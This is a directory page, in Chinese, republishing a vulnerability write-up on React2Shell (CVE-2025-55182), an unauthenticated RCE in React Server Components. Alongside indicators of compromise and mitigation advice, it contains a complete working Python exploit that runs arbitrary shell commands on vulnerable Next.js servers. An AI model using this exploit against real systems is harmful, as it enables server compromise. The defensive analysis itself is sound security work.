Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, RCE漏洞:对React Server Components中不安全反序列化缺陷的详细剖析,该漏洞可在默认的React/Next.js配置中实现未经认证的远程代码执行。 | Kitploit
工具/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
危害指标 (IOC) 管理漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试威胁情报论文与研究学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
事件响应
Payload 开发
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, RCE漏洞:对React Server Components中不安全反序列化缺陷的详细剖析,该漏洞可在默认的React/Next.js配置中实现未经认证的远程代码执行。

查看仓库
818个月前尚未审核

React2Shell(CVE-2025-55182):打破网络的反序列化漏洞 ⚡

React2Shell,CVE-2025-55182,RCE漏洞:对React服务器组件中不安全的反序列化缺陷的深入分析,该缺陷能够在默认的React/Next.js环境中实现未经身份验证的远程代码执行。

⏩ 快速总结

React2Shell(CVE-2025-55182)是一个严重远程代码执行(RCE)漏洞,影响React 19.x中的React服务器组件(RSC)以及Next.js等框架。该漏洞源于对“Flight”协议块的不安全反序列化,允许攻击者注入恶意结构,这些结构会解析为Function构造函数,从而在服务器上执行任意JavaScript。

  • 适用于默认配置
  • 无需身份验证
  • 利用标准multipart/form-data请求
  • 导致完全接管服务器
  • 公开PoC已存在(文末注明来源)
  • 缓解措施:更新至React 19.2.1+ / Next.js 修补版本

React2Shell


👋 引言

React服务器组件的引入是为了以更无缝、可组合的工作流桥接客户端/服务端渲染。为此,React使用了一个名为Flight协议的自定义二进制化序列化通道。

不幸的是,该协议的反序列化逻辑包含一个细微的缺陷,允许攻击者将恶意有效载荷潜入React运行时的深层。

结果如何? 一条完整的、未经身份验证的远程代码执行链,现在被称为React2Shell——没错,它的影响范围和可攻击性与Log4Shell相当。🔥

本文以清晰、可操作的格式分解了该漏洞,非常适合VAPT从业者、研究人员和防御者。


🧠 漏洞解释(通俗解读React2Shell)

🧩 1. React的Flight协议如何工作

RSC通过与客户端发送序列化的“块”来通信,这些块代表引用、对象、组件元数据、异步边界等。

当这些块到达服务器或客户端时,React会将它们反序列化回对象和函数。

此过程假设数据结构是安全的。 这就是问题所在。


💥 2. 核心缺陷:不安全反序列化 → Function构造函数 → RCE

攻击者找到了构造恶意块的方法,其中包含:

  • 原型访问器
  • 伪造的Promise-like对象(thenables)
  • 引用原型链的键
  • 最终暴露Function构造函数的路径

示例模式:

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

在反序列化期间,React将此对象解释为一个thenable并调用:

root@kitploit:~
promise.then(...)

但在这里,then实际上是Function构造函数,因此调用变为:

root@kitploit:~
(new Function("恶意有效载荷"))();

这导致在运行React服务器组件的Node.js环境中执行任意JavaScript。

砰——你获得了RCE。


🚨 3. 为何如此危险

  • 无需身份验证
  • 适用于默认的Next.js应用
  • 无需特殊配置或标志
  • 简单的HTTP POST请求
  • 导致完全沦陷:文件写入、进程派生、横向移动

这就是为什么云供应商、安全团队和CERT在该漏洞披露后立即作出反应。


🚨 入侵指标(IoCs)

📡 网络IoCs

  • 针对以下路径的multipart POST请求:

    • /react
    • /rsc
    • /server, /flight, /server-actions
  • 包含如下键的有效载荷:

    • $then
    • $proto
    • $constructor
    • $type

🖥️ 主机级IoCs

  • 可疑的Node.js执行,例如:

    root@kitploit:~
    node -e "<payload>"
    
  • 在以下路径中出现意外文件:

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 行为IoCs

  • 在异常执行之前的hydration不匹配日志
  • 到可疑IP的突发出站连接
  • RSC反序列化处理程序崩溃
  • 服务器返回异常或畸形的Flight块

🧪 PoC(概念验证)

⚠️ 重要说明
我不拥有此PoC。
它引用自以下公开仓库,并完全归功于作者:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ 免责声明:

以下概念验证(PoC)严格用于教育和防御性网络安全研究。
必须仅在隔离的实验环境中或在你获得明确授权的系统中执行。

滥用此代码进行未经授权的访问、利用或系统入侵是非法、不道德的,并会受到网络安全法律的制裁。
请负责任地操作。🛡️💻

以下是完整的PoC:

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ 免责声明:

如果你执行了这个PoC,请确保你是在受控的沙箱中进行的,而不是在任何生产或第三方资产上。

此演示的存在纯粹是为了帮助分析师、开发者和防御者理解、检测并缓解CVE-2025-55182(React2Shell)。
任何恶意或未经授权使用该信息的行为都是严格禁止的,且作者不认可此类行为。

保持道德。保持安全。🐉🔥


🛡️ 缓解与防御策略

✅ 1. 立即升级

  • React → 19.2.1+
  • Next.js → Vercel发布的修补版本
  • 其他启用RSC的框架 → 应用厂商补丁

🔐 2. 短期加固

  • 为RSC反序列化模式添加WAF签名
  • 阻止可疑的multipart POST流量
  • 限制对服务器操作端点的公开访问
  • 如果不必要,禁用实验性RSC功能
  • 强制执行严格的入站请求验证

🧱 3. 纵深防御

  • 使用Node.js运行时沙箱
  • 启用出站网络限制
  • 审计意外的服务器端代码执行
  • 在日志和构建管道中添加异常检测

👋 结语——保持好奇,保持安全 🔥

React2Shell是一个强有力的提醒:序列化层无论多么优雅,仍然是现代框架中最危险的组件之一。一旦任意对象未经验证触及运行时,通往RCE的链条就会变得极其短暂。

感谢阅读——一如既往,保持道德黑客精神,不断学习,并让那份安全之火烧得更旺。🔥🐉


⭐ 关注我并保持联系

如果你喜欢这篇分析,或者想与我的网络安全研究保持联系:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 领英: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


下载工具